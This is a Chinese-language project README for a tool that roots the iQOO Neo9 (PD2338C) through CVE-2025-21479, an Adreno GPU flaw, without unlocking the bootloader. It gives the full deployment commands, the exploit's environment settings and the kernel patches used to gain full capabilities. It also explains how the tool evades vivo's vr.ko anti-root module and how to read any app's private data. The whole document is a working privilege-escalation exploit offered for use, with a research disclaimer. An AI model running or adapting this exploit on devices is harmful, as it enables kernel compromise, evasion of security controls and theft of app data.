iQOO Neo9 (PD2338C) 免解锁 Caps-Root 工具** — 基于 CVE-2025-21479 (Adreno GPU SDS) 的任意物理写提权方案
iQOO Neo9 (PD2338C) 免解锁 Caps-Root 工具 — 基于 CVE-2025-21479 (Adreno GPU SDS) 的任意物理写提权方案
无需解锁 Bootloader、无需刷机、无需 Magisk。通过 GPU 漏洞获得内核级任意物理写,patch 内核关键函数后以全能力 (41-bit caps) 常驻 root daemon,为 rootc / su 提供 root 能力。
核心特性:euid 保持 2000 以绕过 vivo vr.ko 反 root 检测(euid=0 会触发设备重启),root 能力与 uid=0 等价但进程身份安全。
CapEff: 000001ffffffffff(41 位全能力),非应用层伪装vr.ko 检测失效,设备零崩溃su 包装器,MT 管理器 / Termux 可直接调用⚠️ 漏洞利用依赖该内核的具体布局(符号偏移、
VIVO_VMET_BREAK_KMI特性、vr.ko行为),其他设备/内核需要重新适配。
# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1
脚本会自动:推送三件套 → 重启获取冷窗口 → 多轮运行 exploit(命中率 ~50%/轮)→ daemon 就绪 → 验证。
# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"
# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...
# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"
# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功
# 简单命令
adb shell "/data/local/tmp/rootc id"
# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"
su -c "ls /data/adb" # 任意 root 命令
su -c "chown 0:0 /path/file" # 文件属主改为 root:root
su # 交互模式 (stdin 逐行)
Termux 配置:首次使用需执行(root 权限):
# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"
MT 管理器:设置 → ROOT → 自定义 su 路径 → /data/local/tmp/su
su -c id # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status" # 000001ffffffffff = 全能力
su -c "ls /data/adb" # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x" # root 专属操作
su -c "head -5 /proc/iomem" # 内核物理内存布局
su -c "ls /data/data/<任意包名>" # 任意 app 私有数据
CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
│ 特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
│
├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
│ → exec 后保留 effective caps (普通命令也能带全 caps)
├──▶ patch kptr_restrict = 0
│ → /proc/kallsyms 全地址可见
└──▶ patch vhangup stub (MODE=10 提权)
→ fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
→ fork 常驻 daemon (文件队列服务)
│
▼
rootc / su ──(文件队列 + B64)──▶ daemon ──▶ 任意 root 命令 (全 caps)
为什么 euid=2000? vivo 内核内置 vr.ko 反 root 模块:检测到 cred->euid==0 的非 vrp 域进程即触发 fatal(设备重启)。MODE=10 提权刻意不改 euid,只写 fsuid/fsgid + caps——vr.ko 无法触发,但内核 capable() 检查全部通过(真 root 能力)。
neo9_root/
├── README.md # 本文档
├── LICENSE # MIT
├── exploit/ # 漏洞利用
│ ├── exploit_vivo.c # 源码 (STUB_MODE=10 + daemon + cap_bprm patch)
│ ├── exploit_vivo_neo9 # 编译产物 (aarch64 musl 静态)
│ └── stubs/ # 提权 stub 汇编
├── client/ # 客户端
│ ├── rootc.c / rootc # root 命令客户端 (文件队列 + B64)
│ └── su # su 兼容包装器 (MT/Termux)
├── scripts/ # 部署脚本
│ ├── run_rootc_loop.ps1 # 推荐: 多轮自动部署
│ └── run_root_final.ps1 # 一键部署
├── tools/ # 内核/模块逆向分析脚本 (vr.ko 等)
├── docs/ # 调试记录
│ ├── DEBUG_RECORD.md # 完整调试记录 (崩溃根因链)
│ └── EXPLOIT0_FIX.md # exploit0 修复记录
└── archive/ # 失败方案参考 (setuid 方案等)
run_rootc_loop.ps1 多轮重试cat /proc/uptime 确认(uptime 持续增长且屏幕正常 = 设备未崩)id 显示 uid=2000:见原理章节,属设计行为;能力等价 root/data/local/tmp 权限:Termux 场景需 chmod 1777,意味着任何 app 可写队列文件(自用无妨;在意可用后恢复 chmod 771)Q: 这是真 root 吗? A: 是。内核 capable() 检查(CapEff 全开、chown 0:0、读 /proc/iomem、读任意 app 数据)全部通过——内核认你有 root 能力,只是 uid 数字是 2000。
Q: 会变砖吗? A: 不会。无任何分区写入、无持久化修改,最坏情况是 GPU 卡死重启即恢复。
Q: 支持其他机型吗? A: 需要重新适配(内核布局、符号偏移、vr.ko 行为均为 PD2338C 专属,是vivo iqoo neo9的且系统为橘子5的就可以尝试)。
本项目仅供安全研究与个人设备使用。使用本工具产生的任何后果(包括但不限于设备损坏、数据丢失、保修失效)由使用者自行承担。请遵守当地法律法规,勿用于非法用途。
| 项目 |
|---|
| 值 |
|---|
| 设备 | iQOO Neo9 (PD2338C) |
| 系统 | Android 15 |
| 内核 | 5.15.178-gaacdc35637c4-dirty (GKIv1) |
| GPU | Adreno 740 (A7xx) |
| 内存布局 | 物理无 KASLR (stext_pa=0xa8010000),VA 整体 slide |